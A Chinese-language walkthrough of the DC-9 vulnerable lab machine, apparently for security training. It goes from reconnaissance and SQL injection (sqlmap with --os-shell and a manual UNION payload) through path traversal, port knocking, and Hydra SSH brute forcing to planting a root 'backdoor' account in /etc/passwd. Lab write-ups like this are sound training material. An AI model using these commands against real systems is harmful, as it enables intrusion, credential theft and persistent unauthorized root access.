DC-9靶场实战:从SQL注入到SSH爆破的完整渗透记录
在网络安全领域,靶机渗透是检验技能最直接的方式之一。DC-9作为经典的渗透测试靶场,融合了多种常见漏洞类型,特别适合希望提升实战能力的安全爱好者。本文将完整还原从Web应用漏洞发现到系统提权的全流程,重点解析SQL注入与SSH爆破这两个关键环节的技术细节。
1. 靶场环境准备与信息收集
搭建实验环境是渗透测试的第一步。DC-9靶机需要运行在VMware或VirtualBox等虚拟化平台中,建议使用Kali Linux作为攻击机。网络配置采用NAT模式即可,无需复杂设置。
基础信息收集四步法:
主机发现
使用arp-scan快速定位靶机IP:arp-scan -l --interface=eth0端口扫描
Nmap的TCP全连接扫描能准确识别开放服务:nmap -sT -p- 192.168.1.100 -v典型扫描结果会显示80端口的Web服务,而SSH端口可能显示为
filtered状态。目录枚举
Gobuster比传统工具更高效:gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html页面功能探测
重点关注搜索框、登录表单等用户输入点。在DC-9中,/results.php页面的搜索功能是突破口。
提示:信息收集阶段要建立完整的攻击面清单,记录每个发现的服务版本、路径和功能点。
2. SQL注入漏洞深度利用
发现搜索功能存在注入点后,我们分阶段进行漏洞利用:
2.1 自动化注入工具实战
sqlmap的高级参数组合能应对复杂注入场景:
sqlmap -u "http://192.168.1.100/results.php" --method=POST --data="search=test" --level=5 --risk=3 --batch --dbms=mysql --os-shell关键参数解析:
--level:检测深度(1-5)--risk:风险等级(1-3)--os-shell:尝试获取系统shell
2.2 手动注入技巧
当自动化工具受限时,手工注入依然有效:
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -数据提取路线图:
- 爆当前数据库名 → 2. 爆表名 → 3. 爆字段 → 4. 导出数据
2.3 密码破解实战
获取到的MD5哈希需要解密:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt若在线解密失败,可尝试彩虹表攻击或组合字典攻击。
3. 突破边界:SSH服务攻击链
3.1 端口敲门技术解析
当发现SSH端口被过滤时,端口敲门(Port Knocking)可能是突破口。通过读取/etc/knockd.conf获取敲门序列:
curl "http://192.168.1.100/addrecord.php?file=../../../../../etc/knockd.conf"执行敲门序列:
for port in 7469 8475 9842; do nc -z 192.168.1.100 $port; done3.2 高效SSH爆破策略
使用Hydra进行精准爆破:
hydra -L users.txt -P passwords.txt -t 4 -vV 192.168.1.100 ssh爆破优化技巧:
-t:控制线程数避免被封-vV:显示详细过程- 优先尝试已获取的凭证组合
3.3 凭证整理与权限提升
发现.ssh目录中的备用密码文件:
find / -name ".*" -type d -exec ls -la {} \; 2>/dev/null将找到的密码加入字典进行二次爆破。
4. 特权升级与后渗透
4.1 SUID程序滥用
发现具有SUID权限的Python脚本:
#!/usr/bin/python import sys if len(sys.argv) != 3: print("Usage: python test.py read append") sys.exit(1) else: f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close()4.2 创建特权用户
生成加密密码:
openssl passwd -1 -salt backdoor backdoor123构造特权用户条目:
echo 'backdoor:$1$backdoor$XGQwHx1ZqB6ErBDFYRQxH.:0:0::/root:/bin/bash' > /tmp/backdoor利用漏洞写入:
sudo ./test /tmp/backdoor /etc/passwd4.3 最终权限获取
切换新建的特权用户:
su backdoor Password: backdoor123在渗透测试过程中,每个步骤都需要仔细记录操作命令和输出结果。遇到问题时,建议:
- 检查命令语法和参数
- 确认网络连接状态
- 查看目标系统日志获取错误信息
- 尝试替代工具或方法